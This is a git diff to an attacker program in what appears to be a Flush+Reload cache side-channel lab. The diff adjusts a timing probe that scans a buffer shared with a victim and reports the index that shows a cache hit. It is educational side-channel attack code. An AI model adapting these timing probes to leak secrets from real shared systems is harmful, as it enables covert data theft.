diff --git a/Part2-FlushReload/attacker.c b/Part2-FlushReload/attacker.c index 1d32ffb..2163fd8 100644 --- a/Part2-FlushReload/attacker.c +++ b/Part2-FlushReload/attacker.c @@ -12,7 +12,7 @@ #define WAIT_TIME 100 int main() { int flag = -1; - + CYCLES time = -1; // buf is shared between the attacker and the victim char *buf = allocate_shared_buffer(); @@ -22,13 +22,14 @@ int main() { } for(int i = 0; i < WAIT_TIME; i++); for(int i = 0; i < 1024; i++) { - CYCLES time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128); + time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128); if(time < CACHE_HIT_THRESHOLD) { flag = (i * 10020107) % 1024; break; } } printf("Flag: %d\n", flag); + printf("Time: %d\n", time); deallocate_shared_buffer(buf); return 0;